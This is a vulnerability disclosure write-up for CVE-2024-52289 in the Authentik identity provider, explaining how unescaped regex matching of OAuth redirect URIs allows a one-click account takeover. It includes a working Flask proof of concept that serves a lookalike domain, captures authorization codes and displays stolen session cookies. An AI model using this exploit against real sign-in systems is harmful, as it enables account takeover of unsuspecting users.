Writeup: Account Takeover in Authentik due to Insecure Redirect URIs (CVE-2024-52289)
31 January 2025TL;DR
Redirect URIs in OAuth 2.0 providers in Authentik are validated using RegEx matching. If the redirect URIs are not properly escaped with RegEx matching in mind, this allows an attacker to bypass redirect URI validation which can be exploited for a one-click account takeover.
This vulnerability was assigned CVE-2024-52289 (GHSA-3q5w-6m3x-64gj) and is fixed in Authentik 2024.10.3 and backported to 2024.8.5.
Background
In OAuth 2.0 redirect URIs are used to let the identity provider (IdP, or authorization server, AS) know where to redirect the user’s browser together with their authentication result, for example an access token, authorization code or an error message in the case of a failed authentication.
Since the redirect back to the client can contain sensitive information such as access tokens or authorization codes, it is essential for the security of the application that the IdP validates that the redirect URI is valid for the supplied client_id
.
If the redirect URI validation can be bypassed, an attacker can construct an authorization URL, replacing the redirect_uri
to point to a destination they control. By tricking a user into visiting the malicious authorization URL and signing in the attacker gains access to the user’s session at app.example.com
.
The OAuth 2.0 specification is clear on what rules should be used when validating redirect URIs.
“When a redirection URI is included in an authorization request, the authorization server MUST compare and match the value received against at least one of the registered redirection URIs (or URI components) as defined in [RFC3986] Section 6, if any redirection URIs were registered. If the client registration included the full redirection URI, the authorization server MUST compare the two URIs using simple string comparison as defined in [RFC3986] Section 6.2.1”
It is also clear that a configured redirect URI must be an absolute URI, the word must is used as a definition of an absolute requirement by the specification.
“The redirection endpoint URI MUST be an absolute URI as defined by [RFC3986] Section 4.3.”
While the specification is clear that strict string matching should be used, some implementations allow more lax validation, such as allowing wildcards (e.g., https://app.example.com/*
), something that the OAuth specification does not cover.
A common flaw when implementing OAuth 2.0 is including user-state information in the redirect URI, allowing users to resume their browsing session after authenticating.
For example, a user navigates to https://app.example.com/profile
, which requires
authentication. When the page loads, the user is redirected to https://login.example.com
to authenticate.
Once authenticated, the user should be redirected back to /profile
, so that they can resume what they were doing.
This makes sense, as allowing users to continue where they were greatly improves the user experience.
A seemingly simple solution to this is to configure the IdP to accept redirect URIs containing some sort of wildcard,
for example accepting all redirect URIs starting with https://app.example.com/
. This would allow the IdP to
redirect users back directly to their previously visited page once authentication is completed.
Support for wildcards or some other type of pattern matching during redirect URI validation varies between IdP implementations, and since it is not covered by the official specification, solutions look quite different.
As covered in another writeup, Writeup: Keycloak open redirect (CVE-2023-6927), Keycloak supports wildcards using asterisks *
when configuring redirect URIs.
As this post will show, there are other creative ways of implementing redirect URI validation…
The Vulnerability
Authentik is a self-hosted open source identity provider that aims to challenge the likes of Okta, Entra ID, Authelia and Keycloak. Authentik supports multiple authentication protocols including SAML, LDAP, OAuth 2.0/OIDC.
The code responsible for redirect URI validation can be found at authorize.py#L188.
def check_redirect_uri(self):
"""Redirect URI validation."""
allowed_redirect_urls = self.provider.redirect_uris.split()
if not self.redirect_uri:
LOGGER.warning("Missing redirect uri.")
raise RedirectUriError("", allowed_redirect_urls)
if self.provider.redirect_uris == "":
LOGGER.info("Setting redirect for blank redirect_uris", redirect=self.redirect_uri)
self.provider.redirect_uris = self.redirect_uri
self.provider.save()
allowed_redirect_urls = self.provider.redirect_uris.split()
if self.provider.redirect_uris == "*":
LOGGER.info("Converting redirect_uris to regex", redirect=self.redirect_uri)
self.provider.redirect_uris = ".*"
self.provider.save()
allowed_redirect_urls = self.provider.redirect_uris.split()
try:
if not any(fullmatch(x, self.redirect_uri) for x in allowed_redirect_urls):
LOGGER.warning(
"Invalid redirect uri (regex comparison)",
redirect_uri_given=self.redirect_uri,
redirect_uri_expected=allowed_redirect_urls,
)
raise RedirectUriError(self.redirect_uri, allowed_redirect_urls)
except RegexError as exc:
LOGGER.info("Failed to parse regular expression, checking directly", exc=exc)
if not any(x == self.redirect_uri for x in allowed_redirect_urls):
LOGGER.warning(
"Invalid redirect uri (strict comparison)",
redirect_uri_given=self.redirect_uri,
redirect_uri_expected=allowed_redirect_urls,
)
raise RedirectUriError(self.redirect_uri, allowed_redirect_urls) from None
# Check against forbidden schemes
if urlparse(self.redirect_uri).scheme in FORBIDDEN_URI_SCHEMES:
raise RedirectUriError(self.redirect_uri, allowed_redirect_urls)
The function attempts to validate whether the given redirect URI, self.redirect_uri
, matches one of the allowed URIs in self.provider.redirect_uris
.
One interesting aspect is that if the provider doesn’t have any allowed URIs, the given redirect URI being validated is interpreted as valid and it is saved to the provider’s list of allowed URIs for future use.
There’s also support for wildcard redirect URIs using an asterisk, *
, which is converted to the regular expression .*
, i.e. matches any characters, 0 or more times.
The actual validation is performed by the statement if not any(fullmatch(x, self.redirect_uri) for x in self.provider.redirect_uris)
, which loops through all configured URIs, parses them as a regular expression and checks if they match self.redirect_uri
. If none of them match an error is returned.
Strict string matching is only used if any of the configured URIs in self.provider.redirect_uris
cannot be parsed as a regular expression.
There’s no automatic escaping of the configured redirect URIs, meaning that if they are entered into the configuration as plain URIs, such as https://app.example.com/oauth2/callback
, they are passed verbatim to the RegEx matching function.
The period character (.
) has a special meaning in regular expressions and is used as a wildcard placeholder matching any character. To only match a actual period character, it must be escaped using a backslash (\.
), or as a set [.]
. If a redirect URI is not properly escaped, the validation function can be bypassed with redirect URIs where one or more dots are replaced with any other character, for example https://app
0
example.com/oauth2/callback
becomes valid for the configured redirect URI https://app.example.com/oauth2/callback
.
Bypassing the redirect URI validation can be exploited to perform account takeover if a victim user can be tricked into following a malicious sign-in link.
It should be noted that if the victim is already authenticated with the IdP, they are not prompted to authenticate and are directly redirected to the attacker without further user interaction.
Reporting process
A description of the vulnerability, along with examples and technical information was sent to Authentik, following their documented responsible disclosure policy.
The initial response was the dreaded “it’s not a bug, it’s a feature”.
The phrasing “potentially insecure regular expressions” begs the question, how many Authentik users have properly escaped dots in their redirect URIs?
It turns out that Goauthentik, the company behind Authentik, also offers it as a SaaS solution for enterprise customers. The customer portal is available at https://customers.goauthentik.io and allows for public signup. And as you might have guessed, the customer portal uses Authentik for authentication, an instance hosted at https://id.customers.goauthentik.io.
The authorization URL contains the following parameters:
GET /application/o/authorize/?
response_type=code&
scope=openid+email+profile+roles&
client_id=lq9mHxJPqvTHClDS2zACiCBwhzCk2eiWDs5xgcVvo1aKs4R00Q0QzLyBrwYyhoOq&
redirect_uri=https%3A%2F%2Fcustomers.goauthentik.io%2Fauth%2Foidc%2Fcallback%2F&
state=ikej9l2uJPusY4J0rgZ0Ro013z0XWj1d&
nonce=qnPun61dlnZtuikkjd7eubnL6zJWnqzF
The redirect URI is set to https://customers.goauthentik.io/auth/oidc/callback/
.
Surely it won’t be vulnerable — especially not now, after the issue has been reported…
The domain name customers
x
goauthentik.io
was purchased and set up to host a simple web application.
from flask import Flask, request
import requests
app = Flask(__name__)
session = requests.Session()
@app.route('/start')
def index():
start_url = 'https://customers.goauthentik.io/auth/oidc/authenticate/?next=/'
r = session.get(start_url, allow_redirects=False)
idp_url = r.headers['location']
# modify redirect URI from customers.goauthentik.io to customersxgoauthentik.io
modified = idp_url.replace('%2F%2Fcustomers.', '%2F%2Fcustomersx')
return f'<p>please click this link to sign in: <a href="{modified}">{modified}</a>'
@app.route('/auth/oidc/callback/', methods=['GET'])
def get_counter():
qs = request.query_string.decode()
r = session.get(f'https://customers.goauthentik.io/auth/oidc/callback?{qs}')
print(session.cookies)
return f"""
<marquee width=500 behavior=alternate>Session stolen!</marquee><br>
Set the following cookies in attacker window:
<pre>sessionid={session.cookies['sessionid']}<br>
csrftoken={session.cookies['csrftoken']}"""
if __name__ == '__main__':
app.run(debug=True)
Visiting https://customers
x
goauthentik.io/start
generates a sign-in URL for https://customers.goauthentik.io
which has been modified to redirect back to customers
x
goauthentik.io
. After the user signs in (or is automatically redirected, if already signed in), the /auth/oidc/callback
endpoint calls the original callback endpoint at customers.goauthentik.io
to retrieve the user’s sessionid
and csrftoken
cookies, which can be used to access their account.
The video below shows the web application being used to steal a session.
The recording was attached to the reply to Authentik highlighting the dangers of using regular expressions for redirect URI validation and the likelyhood of misconfigured Authentik instances in the wild.
Authentik responsed the same day:
A couple of weeks later Authentik 2024.10.3 and 2024.8.5 were released, successfully mitigating the vulnerability.
Strict string matching is now the default mode for validating redirect URIs, and administrators can optionally enable regular expressions.
A big thanks to the team at Authentik for patching the vulnerability even though it required potentially breaking changes for customers relying on regular expression matching.
Timeline
- 2024-10-08: Vulnerability identified and reported to Authentik
- 2024-10-28: Report acknowledged by Authentik. “It’s a feature not a bug”.
- 2024-10-31: Highlighted the risk of misconfigured redirect URIs in the wild to Authentik and demonstrated account takeover on customers.goauthentik.io
- 2024-10-31: Authentik acknowledged second email and prioritized a fix
- 2024-11-21: Authentik 2024.10.3 released, which fixes the vulnerability
More in this series:
- Writeup: AWS API Gateway header smuggling and cache confusion
- Writeup: Keycloak open redirect (CVE-2023-6927)
- Writeup: Exploiting TruffleHog v3 - Bending a Security Tool to Steal Secrets
- Writeup: Stored XSS in Apache Syncope (CVE-2024-45031)
- Writeup: Account Takeover in Authentik due to Insecure Redirect URIs (CVE-2024-52289)